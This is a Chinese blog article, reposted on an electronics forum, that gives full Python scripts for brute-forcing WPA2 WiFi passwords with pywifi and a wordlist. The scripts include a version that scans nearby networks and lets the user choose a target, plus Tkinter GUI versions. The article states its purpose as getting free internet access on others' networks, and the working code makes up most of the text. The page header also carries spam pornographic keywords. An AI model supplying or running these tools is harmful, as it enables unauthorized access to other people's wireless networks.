日B视频 亚洲,啪啪啪网站一区二区,91色情精品久久,日日噜狠狠色综合久,超碰人妻少妇97在线,999青青视频,亚洲一区二卡,让本一区二区视频,日韩网站推荐

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何通過Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解

馬哥Linux運(yùn)維 ? 來源:CSDN技術(shù)社區(qū) ? 作者:Tr0e ? 2021-09-10 17:09 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

前言

本文將記錄學(xué)習(xí)下如何通過 Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解,從而實(shí)現(xiàn)免費(fèi)蹭網(wǎng)。

無圖形界面

先來看看沒有圖形界面版的爆破腳本。

WIFI爆破

import pywififrom pywifi import constimport timeimport datetime

# 測(cè)試連接,返回鏈接結(jié)果def wifiConnect(pwd): # 抓取網(wǎng)卡接口 wifi = pywifi.PyWiFi() # 獲取第一個(gè)無線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 創(chuàng)建WiFi連接文件 profile = pywifi.Profile() # 要連接WiFi的名稱 profile.ssid = “Tr0e” # 網(wǎng)卡的開放狀態(tài) profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 profile.cipher = const.CIPHER_TYPE_CCMP # 調(diào)用密碼 profile.key = pwd # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 設(shè)定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時(shí)間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print(“已有wifi連接”)

# 讀取密碼本def readPassword(): success = False print(“****************** WIFI破解 ******************”) # 密碼本路徑 path = “pwd.txt” # 打開文件 file = open(path, “r”) start = datetime.datetime.now() while True: try: pwd = file.readline() # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) bool = wifiConnect(pwd) if bool: print(“[*] 密碼已破解:”, pwd) print(“[*] WiFi已自動(dòng)連接?。。 保?success = True break else: # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán) print(“正在破解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s”%(“Tr0e”,pwd)) except: continue end = datetime.datetime.now() if(success): print(“[*] 本次破解WIFI密碼一共用了多長時(shí)間:{}”.format(end - start)) else: print(“[*] 很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請(qǐng)更換密碼字典后重新嘗試!”) exit(0)

if __name__==“__main__”: readPassword()

代碼運(yùn)行效果:

089f0b22-120d-11ec-8fb8-12bb97331649.png

腳本優(yōu)化

以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:

import pywifiimport timefrom pywifi import const

# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個(gè)無線網(wǎng)卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print(‘

掃描可用 WiFi 中,請(qǐng)稍后。。。(’ + str(3 - i), end=‘)’) print(‘

掃描完成!

’ + ‘-’ * 38) print(‘

{:4}{:6}{}’.format(‘編號(hào)’, ‘信號(hào)強(qiáng)度’, ‘wifi名’)) # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode(‘raw_unicode_escape’).decode(‘utf-8’)) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信號(hào)排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num 《 len(wifi_name_list): print(‘

{:《6d}{:《8d}{}’.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print(‘-’ * 38) # 返回wifi列表 return wifi_name_list

# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input(“請(qǐng)輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:”) with open(wifi_dic_path, ‘r’) as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) # 創(chuàng)建wifi對(duì)象 wifi = pywifi.PyWiFi() # 創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開 pass # 創(chuàng)建連接文件(對(duì)象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認(rèn)證 profile.auth = const.AUTH_ALG_OPEN # wifi默認(rèn)加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設(shè)置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time 《 1.5: # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測(cè)試測(cè)正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢) if interface.status() == 4: print(f‘

連接成功!密碼為:{pwd}’) exit(0) else: print(f‘

正在利用密碼 {pwd} 嘗試破解?!?end=‘’)

# 主函數(shù)def main(): # 退出標(biāo)致 exit_flag = 0 # 目標(biāo)編號(hào) target_num = -1 while not exit_flag: try: print(‘WiFi萬能鑰匙’.center(35, ‘-’)) # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input(‘請(qǐng)選擇你要嘗試破解的wifi:’)) # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認(rèn) while not choose_exit_flag: try: choose = str(input(f‘你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)’)) # 對(duì)用戶輸入進(jìn)行小寫處理,并判斷 if choose.lower() == ‘y’: choose_exit_flag = 1 elif choose.lower() == ‘n’: break # 處理用戶其它字母輸入 else: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 處理用戶非字母輸入 except ValueError: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 退出破解 if choose_exit_flag == 1: break else: print(‘請(qǐng)重新輸入哦(*^▽^*)’) except ValueError: print(‘只能輸入數(shù)字哦o(* ̄︶ ̄*)o’) # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print(‘-’ * 38) exit_flag = 1 except Exception as e: print(e) raise e

if __name__ == ‘__main__’: main()

腳本運(yùn)行效果如下:

08ad8d14-120d-11ec-8fb8-12bb97331649.png

上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

08c00d7c-120d-11ec-8fb8-12bb97331649.png

圖形化界面

下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。

簡(jiǎn)單版UI

from tkinter import *from pywifi import constimport pywifiimport time

# 主要步驟:# 1、獲取第一個(gè)無線網(wǎng)卡# 2、斷開所有的wifi# 3、讀取密碼本# 4、設(shè)置睡眠時(shí)間def wificonnect(str, wifiname): # 窗口無線對(duì)象 wifi = pywifi.PyWiFi() # 抓取第一個(gè)無線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 創(chuàng)建wifi連接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密碼 profile.key = str # 網(wǎng)卡的開發(fā) profile.auth = const.AUTH_ALG_OPEN # 加密單元,這里需要寫點(diǎn)加密單元否則無法連接 profile.cipher = const.CIPHER_TYPE_CCMP # 刪除所有的wifi文件 ifaces.remove_all_network_profiles() # 設(shè)置新的連接文件 tep_profile = ifaces.add_network_profile(profile) # 連接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False

def readPwd(): # 獲取wiif名稱 wifiname = entry.get().strip() path = r‘。/pwd.txt’ file = open(path, ‘r’) while True: try: # 讀取 mystr = file.readline().strip() # 測(cè)試連接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, ‘密碼正確’ + mystr) text.see(END) text.update() file.close() break else: text.insert(END, ‘密碼錯(cuò)誤’ + mystr) text.see(END) text.update() except: continue

# 創(chuàng)建窗口root = Tk()root.title(‘wifi破解’)root.geometry(‘500x400’)# 標(biāo)簽label = Label(root, text=‘輸入要破解的WIFI名稱:’)# 定位label.grid()# 輸入控件entry = Entry(root, font=(‘微軟雅黑’, 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=(‘微軟雅黑’, 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按鈕button = Button(root, text=‘開始破解’, width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 顯示窗口root.mainloop()

腳本運(yùn)行效果:

08d9343c-120d-11ec-8fb8-12bb97331649.png

UI升級(jí)版

以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):

from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog # 在Gui中打開文件瀏覽import tkinter.messagebox # 打開tkiner的消息提醒框

class MY_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name # 密碼文件路徑 self.get_value = StringVar() # 設(shè)置可變內(nèi)容 # 獲取破解wifi賬號(hào) self.get_wifi_value = StringVar() # 獲取wifi密碼 self.get_wifimm_value = StringVar() # 抓取網(wǎng)卡接口 self.wifi = pywifi.PyWiFi() # 抓取第一個(gè)無線網(wǎng)卡 self.iface = self.wifi.interfaces()[0] # 測(cè)試鏈接斷開所有鏈接 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 測(cè)試網(wǎng)卡是否屬于斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self): # 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡 return ‘(WIFI:%s,%s)’ % (self.wifi, self.iface.name())

# 設(shè)置窗口 def set_init_window(self): self.init_window_name.title(“WIFI破解工具”) self.init_window_name.geometry(‘+500+200’) labelframe = LabelFrame(width=400, height=200, text=“配置”) # 框架,以下對(duì)象都是對(duì)于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text=“搜索附近WiFi”, command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text=“開始破解”, command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text=“目錄路徑:”).grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text=“添加密碼文件目錄”, command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text=“WiFi賬號(hào):”).grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text=“WiFi密碼:”).grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text=“wifi列表”) self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定義樹形結(jié)構(gòu)與滾動(dòng)條 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show=“headings”, columns=(“a”, “b”, “c”, “d”)) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標(biāo)題 self.wifi_tree.column(“a”, width=50, anchor=“center”) self.wifi_tree.column(“b”, width=100, anchor=“center”) self.wifi_tree.column(“c”, width=100, anchor=“center”) self.wifi_tree.column(“d”, width=100, anchor=“center”) self.wifi_tree.heading(“a”, text=“WiFiID”) self.wifi_tree.heading(“b”, text=“SSID”) self.wifi_tree.heading(“c”, text=“BSSID”) self.wifi_tree.heading(“d”, text=“signal”) self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind(“《Double-1》”, self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS)

# 搜索wifi def scans_wifi_list(self): # 掃描周圍wifi列表 # 開始掃描 print(“^_^ 開始掃描附近wifi.。?!保?self.iface.scan() time.sleep(15) # 在若干秒后獲取掃描結(jié)果 scanres = self.iface.scan_results() # 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量 nums = len(scanres) print(“數(shù)量: %s” % (nums)) # 實(shí)際數(shù)據(jù) self.show_scans_wifi_list(scanres) return scanres

# 顯示wifi列表 def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert(“”, ‘end’, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

# 添加密碼文件目錄 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename)

# Treeview綁定事件 def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, “values”)[1])

# 讀取密碼字典,進(jìn)行匹配 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, “r”, errors=“ignore”) while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = “[*] 密碼正確!wifi名:%s,匹配密碼:%s ” % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo(‘提示’, ‘破解成功?。。 ?print(self.res) break else: self.res = “[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s” % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue

# 對(duì)wifi和密碼進(jìn)行匹配 def connect(self, pwd_Str, wifi_ssid): # 創(chuàng)建wifi鏈接文件 self.profile = pywifi.Profile() self.profile.ssid = wifi_ssid # wifi名稱 self.profile.auth = const.AUTH_ALG_OPEN # 網(wǎng)卡的開放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 self.profile.key = pwd_Str # 密碼 self.iface.remove_all_network_profiles() # 刪除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile) # 設(shè)定新的鏈接文件 self.iface.connect(self.tmp_profile) # 鏈接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上 isOK = True else: isOK = False self.iface.disconnect() # 斷開 time.sleep(1) # 檢查斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK

def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()

if __name__ == “__main__”: gui_start()

腳本運(yùn)行效果如下:

08e4f9c0-120d-11ec-8fb8-12bb97331649.png

以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來自動(dòng)生成 UI 代碼。

總結(jié)

本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。所演示的代碼的不足在于均沒有使用多線程進(jìn)行 WIFI 連接測(cè)試,實(shí)際上因?yàn)?WIFI 連接測(cè)試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少暴力破解過程的等待時(shí)間。

原文鏈接:https://blog.csdn.net/weixin_39190897/article/details/119778471

編輯:jq

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • WIFI
    +關(guān)注

    關(guān)注

    82

    文章

    5533

    瀏覽量

    214511
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4977

    瀏覽量

    74417
  • GUI
    GUI
    +關(guān)注

    關(guān)注

    3

    文章

    699

    瀏覽量

    43905
  • python
    +關(guān)注

    關(guān)注

    58

    文章

    4889

    瀏覽量

    90327

原文標(biāo)題:Python暴力破解附近局域網(wǎng)WiFi密碼

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    [VirtualLab] 使用Python進(jìn)行跨平臺(tái)參數(shù)掃描

    摘要 VirtualLab Fusion允許外部訪問其建模技術(shù)、求解器和結(jié)果。這有助于應(yīng)用其他數(shù)據(jù)處理或優(yōu)化工具來進(jìn)一步研究光學(xué)模擬。在本示例中,我們演示如何使用Python腳本運(yùn)行參數(shù)掃描,以及
    發(fā)表于 03-31 09:36

    使用fail2ban防御暴力破解的落地實(shí)踐

    暴力破解(Brute Force Attack)是最原始也是最有效的攻擊手段之一。攻擊者通過自動(dòng)化工具對(duì) SSH、Web 登錄、數(shù)據(jù)庫等服務(wù)進(jìn)行大量密碼嘗試,直到命中正確的憑據(jù)。根據(jù)公網(wǎng)蜜罐數(shù)據(jù)
    的頭像 發(fā)表于 03-23 10:27 ?353次閱讀

    其利天下:13 萬轉(zhuǎn)暴力風(fēng)扇,驅(qū)動(dòng)方案需要滿足哪些核心技術(shù)要求?

    暴力風(fēng)扇行業(yè),13萬轉(zhuǎn)超高轉(zhuǎn)速產(chǎn)品,是區(qū)分入門款與高端旗艦款的核心門檻。而一款13萬轉(zhuǎn)暴力風(fēng)扇能不能穩(wěn)定落地、實(shí)現(xiàn)大規(guī)模量產(chǎn),核心就取決于13萬轉(zhuǎn)暴力風(fēng)扇驅(qū)動(dòng)方案的底層設(shè)計(jì)。
    的頭像 發(fā)表于 02-27 15:30 ?69次閱讀
    其利天下:13 萬轉(zhuǎn)<b class='flag-5'>暴力</b>風(fēng)扇,驅(qū)動(dòng)方案需要滿足哪些核心技術(shù)要求?

    SSH安全加固與免密登錄實(shí)戰(zhàn)指南

    線上服務(wù)器被暴力破解SSH密碼的事每個(gè)月都在發(fā)生。我們團(tuán)隊(duì)去年處理過一起安全事件,一臺(tái)測(cè)試機(jī)用了默認(rèn)22端口加弱密碼,48小時(shí)內(nèi)被植入挖礦程序,CPU跑滿導(dǎo)致同網(wǎng)段業(yè)務(wù)受影響。事后復(fù)盤發(fā)現(xiàn) /var/log/secure 里有超
    的頭像 發(fā)表于 02-09 15:17 ?2002次閱讀

    Python運(yùn)行本地Web服務(wù)并實(shí)現(xiàn)遠(yuǎn)程訪問

    本文介紹使用Python搭建本地Web服務(wù)并結(jié)合 ZeroNews 實(shí)現(xiàn)公網(wǎng)訪問。
    的頭像 發(fā)表于 02-06 11:39 ?370次閱讀
    <b class='flag-5'>Python</b>運(yùn)行本地Web服務(wù)并<b class='flag-5'>實(shí)現(xiàn)</b>遠(yuǎn)程訪問

    niobeu4 esp32 開發(fā)板無法連接有密碼wifi

    密碼的熱點(diǎn),無法連接有密碼的熱點(diǎn)。 (3)使用 esp-idf 原生的 api 開發(fā) wifi(系統(tǒng)環(huán)境是 openharmony,只更換 api),結(jié)果也是只能連接沒有密碼的熱點(diǎn),無
    發(fā)表于 01-23 10:36

    UL認(rèn)證線纜選型終極指南:破解20624/20706等熱門型號(hào)技術(shù)密碼

    UL認(rèn)證線纜選型終極指南:破解20624/20706等10大熱門型號(hào)的技術(shù)密碼與市場(chǎng)藍(lán)海(附實(shí)戰(zhàn)案例)別再為選錯(cuò)線纜而返工!本文深度解析UL認(rèn)證的10款熱門線纜型號(hào)(20624,20706,20798,20861,20941,20960,2896,2643,20566),
    的頭像 發(fā)表于 01-21 10:31 ?994次閱讀
    UL認(rèn)證線纜選型終極指南:<b class='flag-5'>破解</b>20624/20706等熱門型號(hào)技術(shù)<b class='flag-5'>密碼</b>

    官方新品 | 虹科PCAN-Explorer 7發(fā)布:帶來Python腳本與靈活授權(quán)新體驗(yàn)

    虹科PCAN-Explorer7支持Python腳本+授權(quán)管理升級(jí)在CAN總線技術(shù)持續(xù)進(jìn)化的當(dāng)下,我們始終相信,工具的革新應(yīng)與技術(shù)的前沿同頻,更應(yīng)讓復(fù)雜的研發(fā)與分析工作,回歸簡(jiǎn)潔、高效的本質(zhì)。虹科
    的頭像 發(fā)表于 12-05 11:03 ?1198次閱讀
    官方新品 | 虹科PCAN-Explorer 7發(fā)布:帶來<b class='flag-5'>Python</b><b class='flag-5'>腳本</b>與靈活授權(quán)新體驗(yàn)

    電能質(zhì)量在線監(jiān)測(cè)裝置的備用鏈路切換機(jī)制的遠(yuǎn)程控制有哪些安全風(fēng)險(xiǎn)?

    風(fēng)險(xiǎn):非法訪問與越權(quán)操作 弱身份認(rèn)證風(fēng)險(xiǎn) 風(fēng)險(xiǎn)表現(xiàn):采用弱密碼(如默認(rèn)密碼、簡(jiǎn)單密碼)、未啟用雙因素認(rèn)證(2FA),或認(rèn)證機(jī)制被破解(如暴力破解
    的頭像 發(fā)表于 11-06 16:58 ?1481次閱讀

    【技術(shù)分享】正確編寫SysV Init腳本實(shí)現(xiàn)Systemd兼容(上)

    /),但在Systemd系統(tǒng)中,這些腳本通過systemd-sysv-generator換為原生服務(wù)單元。若腳本未遵循LinuxStandardBase(LSB)規(guī)范
    的頭像 發(fā)表于 10-28 11:45 ?851次閱讀
    【技術(shù)分享】正確編寫SysV Init<b class='flag-5'>腳本</b>以<b class='flag-5'>實(shí)現(xiàn)</b>Systemd兼容(上)

    智芯公司通過國家商用密碼產(chǎn)品認(rèn)證

    近日,智芯公司研發(fā)的雙頻三界面射頻識(shí)別標(biāo)簽芯片正式通過國家商用密碼產(chǎn)品認(rèn)證,成為業(yè)內(nèi)率先通過認(rèn)證的雙頻射頻識(shí)別標(biāo)簽芯片。國家商用密碼產(chǎn)品認(rèn)證是我國
    的頭像 發(fā)表于 10-24 15:24 ?927次閱讀

    termux調(diào)試python猜數(shù)字游戲

    用termux做一個(gè)猜數(shù)字游戲 下面是在Termux中創(chuàng)建猜數(shù)字游戲的步驟及完整實(shí)現(xiàn)方案,結(jié)合Python實(shí)現(xiàn)(最適配Termux環(huán)境): ? 一、環(huán)境準(zhǔn)備(Termux基礎(chǔ)配置) 1.
    發(fā)表于 08-29 17:15

    Python腳本實(shí)現(xiàn)運(yùn)維工作自動(dòng)化案例

    還在為重復(fù)性運(yùn)維工作而煩惱?每天被各種告警、監(jiān)控、部署搞得焦頭爛額?作為一名有10年經(jīng)驗(yàn)的運(yùn)維老司機(jī),今天分享5個(gè)超實(shí)用的Python自動(dòng)化腳本,讓你的運(yùn)維工作效率提升300%!這些都是我在生產(chǎn)環(huán)境中實(shí)際使用的案例,代碼簡(jiǎn)潔高效,拿來即用!
    的頭像 發(fā)表于 08-27 14:46 ?1382次閱讀

    低功耗藍(lán)牙智能門鎖應(yīng)用

    的訪客鑰匙。 3、更高的安全性。所有通信數(shù)據(jù)采用非對(duì)稱加密算法,防止暴力破解。 4、更快的響應(yīng)速度,更低的功耗。速度快,實(shí)現(xiàn)秒級(jí)開鎖;采用業(yè)界超低功耗無線通信方案,相同電池容量下,更長待機(jī)、使用時(shí)間
    發(fā)表于 06-25 09:47

    如何防止SSH暴力破解

    密碼要寫的足夠的復(fù)雜,通常建議將密碼寫16位,并且無連貫的數(shù)字或者字母;當(dāng)然也可以固定一個(gè)時(shí)間修改一次密碼,推薦是一個(gè)月修改一次會(huì)穩(wěn)妥一些.
    的頭像 發(fā)表于 05-12 16:18 ?1291次閱讀
    如何防止SSH<b class='flag-5'>暴力破解</b>
    前郭尔| 泰安市| 阳信县| 凤城市| 墨竹工卡县| 安宁市| 鲁山县| 陆丰市| 长治市| 巴楚县| 揭东县| 庆云县| 定结县| 故城县| 嘉兴市| 湖北省| 九寨沟县| 太保市| 常熟市| 邢台市| 清苑县| 吉安县| 兴业县| 延安市| 吉木乃县| 宁强县| 甘肃省| 寿阳县| 抚顺县| 武川县| 河源市| 无锡市| 竹溪县| 阿拉善右旗| 靖边县| 黔南| 宣城市| 孝昌县| 上虞市| 邢台县| 乐平市|